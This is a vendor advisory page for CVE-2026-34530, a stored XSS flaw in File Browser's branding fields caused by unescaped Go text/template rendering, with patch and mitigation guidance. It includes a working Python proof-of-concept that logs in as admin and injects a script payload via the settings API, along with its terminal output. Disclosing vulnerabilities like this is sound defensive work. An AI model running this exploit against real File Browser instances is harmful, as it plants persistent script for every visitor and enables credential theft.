Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

CVE-2026-34530 v2

MEDIUM

CVE-2026-34530 is a medium-severity (CVSS 6.9) Cross-site Scripting (XSS) vulnerability in github.com/filebrowser/filebrowser/v2. A fix is available for github.com/filebrowser/filebrowser/v2 — see the affected versions and patch details below.

File Browser is vulnerable to Stored Cross-Site Scripting via text/template branding injection

Also known asGHSA-xfqj-3vmx-63wvGO-2026-5754
Published
Apr 1, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34530.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs29th percentile — riskier than 29% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-34530 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/filebrowser/filebrowser/v2

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The SPA index page in File Browser is vulnerable to Stored Cross-site Scripting (XSS) via admin-controlled branding fields. An admin who sets branding.name to a malicious payload injects persistent JavaScript that executes for ALL visitors, including unauthenticated users.

<br/>

Details

http/static.go renders the SPA index.html using Go's text/template (NOT html/template) with custom delimiters [{[ and ]}]. Branding fields are inserted directly into HTML without any escaping:

// http/static.go, line 16 — imports text/template instead of html/template
"text/template"

// http/static.go, line 33 — branding.Name passed into template data
"Name": d.settings.Branding.Name,

// http/static.go, line 97 — template parsed with custom delimiters, no escaping
index := template.Must(template.New("index").Delims("[{[", "]}]").Parse(string(fileContents)))

The frontend template (frontend/public/index.html) embeds these fields directly:

<!-- frontend/public/index.html, line 16 -->
[{[ if .Name -]}][{[ .Name ]}][{[ else ]}]File Browser[{[ end ]}]

<!-- frontend/public/index.html, line 42 -->
content="[{[ if .Color -]}][{[ .Color ]}][{[ else ]}]#2979ff[{[ end ]}]"

Since text/template performs NO HTML escaping (unlike html/template), setting branding.name to </title><script>alert(1)</script> breaks out of the <title> tag and injects arbitrary script into every page load.

Additionally, when ReCaptcha is enabled, the ReCaptchaHost field is used as:

<script src="[{[.ReCaptchaHost]}]/recaptcha/api.js"></script>

This allows loading arbitrary JavaScript from an admin-chosen origin.

No Content-Security-Policy header is set on the SPA entry point, so there is no CSP mitigation.

<br/>

PoC

Below is the PoC python script that could be ran on test environment using docker compose:

services:

  filebrowser:
    image: filebrowser/filebrowser:v2.62.1
    user: 0:0
    ports:
      - "80:80"

And running this PoC python script:

import argparse
import json
import sys
import requests


BANNER = """
  Stored XSS via Branding Injection PoC
  Affected: filebrowser/filebrowser <=v2.62.1
  Root cause: http/static.go uses text/template (not html/template)
  Branding fields rendered unescaped into SPA index.html
"""

XSS_MARKER = "XSS_BRANDING_POC_12345"
XSS_PAYLOAD = (
    '</title><script>window.' + XSS_MARKER + '=1;'
    'alert("XSS in File Browser branding")</script><title>'
)


def login(base: str, username: str, password: str) -> str:
    r = requests.post(f"{base}/api/login",
                      json={"username": username, "password": password},
                      timeout=10)
    if r.status_code != 200:
        print(f"      Login failed: {r.status_code}")
        sys.exit(1)
    return r.text.strip('"')


def main():
    sys.stdout.write(BANNER)
    sys.stdout.flush()

    ap = argparse.ArgumentParser(
        formatter_class=argparse.RawDescriptionHelpFormatter,
        description="Stored XSS via branding injection PoC",
        epilog="""examples:
  %(prog)s -t http://localhost -u admin -p admin
  %(prog)s -t http://target.com/filebrowser -u admin -p secret

how it works:
  1. Authenticates as admin to File Browser
  2. Sets branding.name to a <script> payload via PUT /api/settings
  3. Fetches the SPA index (unauthenticated) to verify the payload
     renders unescaped in the HTML <title> tag

root cause:
  http/static.go renders the SPA index.html using Go's text/template
  (NOT html/template) with custom delimiters [{[ and ]}].
  Branding fields like Name are inserted directly into HTML:
    <title>[{[.Name]}]</title>
  No escaping is applied, so HTML/JS in the name breaks out of
  the <title> tag and executes as script.

impact:
  Stored XSS affecting ALL visitors (including unauthenticated).
  An admin (or attacker who compromised admin) can inject persistent
  JavaScript that steals credentials from every user who visits.""",
    )

    ap.add_argument("-t", "--target", required=True,
                    help="Base URL of File Browser (e.g. http://localhost)")
    ap.add_argument("-u", "--user", required=True,
                    help="Admin username")
    ap.add_argument("-p", "--password", required=True,
                    help="Admin password")
    if len(sys.argv) == 1:
        ap.print_help()
        sys.exit(1)
    args = ap.parse_args()

    base = args.target.rstrip("/")
    hdrs = lambda tok: {"X-Auth": tok, "Content-Type": "application/json"}

    print()
    print("[*] ATTACK BEGINS...")
    print("====================")

    print(f"\n  [1] Authenticating to {base}")
    token = login(base, args.user, args.password)
    print(f"      Logged in as: {args.user}")

    print(f"\n  [2] Injecting XSS payload into branding.name")
    r = requests.get(f"{base}/api/settings", headers=hdrs(token), timeout=10)
    if r.status_code != 200:
        print(f"      Failed: GET /api/settings returned {r.status_code}")
        print(f"      (requires admin privileges)")
        sys.exit(1)
    settings = r.json()
    settings["branding"]["name"] = XSS_PAYLOAD
    r = requests.put(f"{base}/api/settings", headers=hdrs(token),
                     json=settings, timeout=10)
    if r.status_code != 200:
        print(f"      Failed: PUT /api/settings returned {r.status_code}")
        sys.exit(1)
    print(f"      Payload injected")

    print(f"\n  [3] Verifying XSS renders in unauthenticated SPA")
    r = requests.get(f"{base}/", timeout=10)
    html = r.text

    if XSS_MARKER in html:
        print(f"      XSS payload found in HTML response!")
        for line in html.split("\n"):
            if XSS_MARKER in line:
                print(f"      >>> {line.strip()[:120]}")
        csp = r.headers.get("Content-Security-Policy", "")
        if not csp:
            print(f"      No CSP header — script executes without restriction")
        confirmed = True
    else:
        print(f"      Payload NOT found in HTML")
        confirmed = False

    print()
    print("====================")

    if confirmed:
        print()
        print("CONFIRMED: text/template renders branding.name without escaping.")
        print("The <title> tag is broken and arbitrary <script> executes.")
        print("Every visitor (authenticated or not) receives the payload.")
        print()
        print(f"Open {base}/ in a browser to see the alert() popup.")
    else:
        print()
        print("NOT CONFIRMED in this test run.")
    print()


if __name__ == "__main__":
    main()

And terminal output:

root@server205:~/sec-filebrowser# python3 poc_branding_xss.py -t http://localhost -u admin -p "jhSR9z9pofv5evlX"

  Stored XSS via Branding Injection PoC
  Affected: filebrowser/filebrowser <=v2.62.1
  Root cause: http/static.go uses text/template (not html/template)
  Branding fields rendered unescaped into SPA index.html

[*] ATTACK BEGINS...
====================

  [1] Authenticating to http://localhost
      Logged in as: admin

  [2] Injecting XSS payload into branding.name
      Payload injected

  [3] Verifying XSS renders in unauthenticated SPA
      XSS payload found in HTML response!
      >>> </title><script>window.XSS_BRANDING_POC_12345=1;alert("XSS in File Browser branding")</script><title>
      >>> window.FileBrowser = {"AuthMethod":"json","BaseURL":"","CSS":false,"Color":"","DisableExternal":false,"DisableUsedPercen
      No CSP header — script executes without restriction

====================

CONFIRMED: text/template renders branding.name without escaping.
The <title> tag is broken and arbitrary <script> executes.
Every visitor (authenticated or not) receives the payload.

Open http://localhost/ in a browser to see the alert() popup.

<br/>

Impact

  • Stored XSS affecting ALL visitors including unauthenticated users
  • Persistent backdoor — the payload survives until branding is manually changed

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/filebrowser/filebrowser/v2all versions2.62.2go get github.com/filebrowser/filebrowser/v2@v2.62.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/filebrowser/filebrowser/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/filebrowser/filebrowser/v2 to 2.62.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-34530 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-34530 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-34530. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The SPA index page in File Browser is vulnerable to Stored Cross-site Scripting (XSS) via admin-controlled branding fields. An admin who sets `branding.name` to a malicious payload injects persistent JavaScript that executes for ALL visitors, including unauthenticated users. <br/> ### Details `http/static.go` renders the SPA `index.html` using Go's `text/template` (NOT `html/template`) with custom delimiters `[{[` and `]}]`. Branding fields are inserted directly into HTML without any escaping: ```go // http/static.go, line 16 — imports text/template instead of html/template "te
O3 Security · Impact-Aware SCA

Is CVE-2026-34530 in your dependencies?

O3 Security finds CVE-2026-34530 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-34530: v2 (Medium 6.9) | O3 Security